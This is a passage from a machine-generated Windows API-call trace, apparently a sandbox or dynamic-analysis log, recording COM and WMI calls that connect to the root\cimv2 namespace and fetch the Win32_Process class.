wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0161.985] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b190, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0161.985] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0161.985] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0161.985] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.985] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0161.985] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0161.985] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0161.985] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.987] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bce6480) returned 0x0 [0161.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6480, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0161.988] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6480, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0add0) returned 0x0 [0161.988] WbemDefPath:IUnknown:Release (This=0x1bce6480) returned 0x0 [0161.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0add0) returned 0x0 [0161.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0161.988] WbemDefPath:IUnknown:AddRef (This=0x1aa0add0) returned 0x3 [0161.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0161.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0161.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bce64a0) returned 0x0 [0161.989] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce64a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.989] WbemDefPath:IUnknown:Release (This=0x1bce64a0) returned 0x3 [0161.989] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0161.989] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0161.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0161.989] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x2 [0161.989] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x1 [0161.989] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0161.989] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0161.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0add0) returned 0x0 [0161.989] WbemDefPath:IUnknown:AddRef (This=0x1aa0add0) returned 0x3 [0161.990] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x2 [0161.990] WbemDefPath:IWbemPath:SetText (This=0x1aa0add0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0161.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0161.990] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0161.990] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.990] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0161.990] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0161.990] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0161.990] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.991] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bce63a0) returned 0x0 [0161.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce63a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0161.992] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bce63a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bce62c0) returned 0x0 [0161.992] WbemLocator:IUnknown:Release (This=0x1bce63a0) returned 0x0 [0161.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce62c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bce62c0) returned 0x0 [0161.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce62c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0161.992] WbemLocator:IUnknown:AddRef (This=0x1bce62c0) returned 0x3 [0161.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce62c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0161.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce62c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0161.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce62c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0161.992] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0161.993] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0161.993] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce62c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0161.993] WbemLocator:IUnknown:Release (This=0x1bce62c0) returned 0x2 [0161.993] WbemLocator:IUnknown:Release (This=0x1bce62c0) returned 0x1 [0161.993] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0161.993] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0161.993] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce62c0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bce62c0) returned 0x0 [0161.993] WbemLocator:IUnknown:AddRef (This=0x1bce62c0) returned 0x3 [0161.993] WbemLocator:IUnknown:Release (This=0x1bce62c0) returned 0x2 [0161.993] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0161.993] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0161.993] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.993] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bce62e0) returned 0x0 [0161.994] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bce62e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bb803f0) returned 0x0 [0162.076] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb803f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbde180) returned 0x0 [0162.076] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbde180, pProxy=0x1bb803f0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0162.076] WbemLocator:IUnknown:Release (This=0x1bbde180) returned 0x1 [0162.076] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb803f0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbde1c0) returned 0x0 [0162.076] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb803f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbde180) returned 0x0 [0162.076] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbde180, pProxy=0x1bb803f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0162.077] WbemLocator:IUnknown:Release (This=0x1bbde180) returned 0x2 [0162.077] WbemLocator:IUnknown:Release (This=0x1bbde1c0) returned 0x1 [0162.077] CoTaskMemFree (pv=0x1bc19fb0) [0162.077] WbemLocator:IUnknown:AddRef (This=0x1bb803f0) returned 0x2 [0162.077] WbemLocator:IUnknown:Release (This=0x1bce62e0) returned 0x0 [0162.077] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0162.077] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0162.077] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb803f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbde190) returned 0x0 [0162.077] WbemLocator:IRpcOptions:Query (in: This=0x1bbde190, pPrx=0x1bce64e0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0162.078] WbemLocator:IUnknown:Release (This=0x1bbde190) returned 0x2 [0162.078] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0162.078] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0162.078] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb803f0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bb803f0) returned 0x0 [0162.078] WbemLocator:IUnknown:Release (This=0x1bb803f0) returned 0x2 [0162.078] SysStringLen (param_1=0x0) returned 0x0 [0162.078] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0162.078] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0162.078] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.078] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0162.078] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0162.078] IWbemServices:GetObject (in: This=0x1bb803f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb92630, ppCallResult=0x0) returned 0x0 [0162.093] IWbemClassObject:Get (in: This=0x1bb92630, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0162.094] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0162.094] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0162.094] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0162.094] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0162.094] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0162.094] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.096] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bce62e0) returned 0x0 [0162.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce62e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0162.096] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce62e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0ad10) returned 0x0 [0162.096] WbemDefPath:IUnknown:Release (This=0x1bce62e0) returned 0x0 [0162.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0ad10) returned 0x0 [0162.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0162.097] WbemDefPath:IUnknown:AddRef (This=0x1aa0ad10) returned 0x3 [0162.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0162.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0162.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bce6300) returned 0x0 [0162.097] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6300, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.097] WbemDefPath:IUnknown:Release (This=0x1bce6300) returned 0x3 [0162.097] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0162.097] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0162.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0162.097] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x2 [0162.097] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x1 [0162.097] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0162.097] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0162.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0ad10) returned 0x0 [0162.097] WbemDefPath:IUnknown:AddRef (This=0x1aa0ad10) returned 0x3 [0162.098] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x2 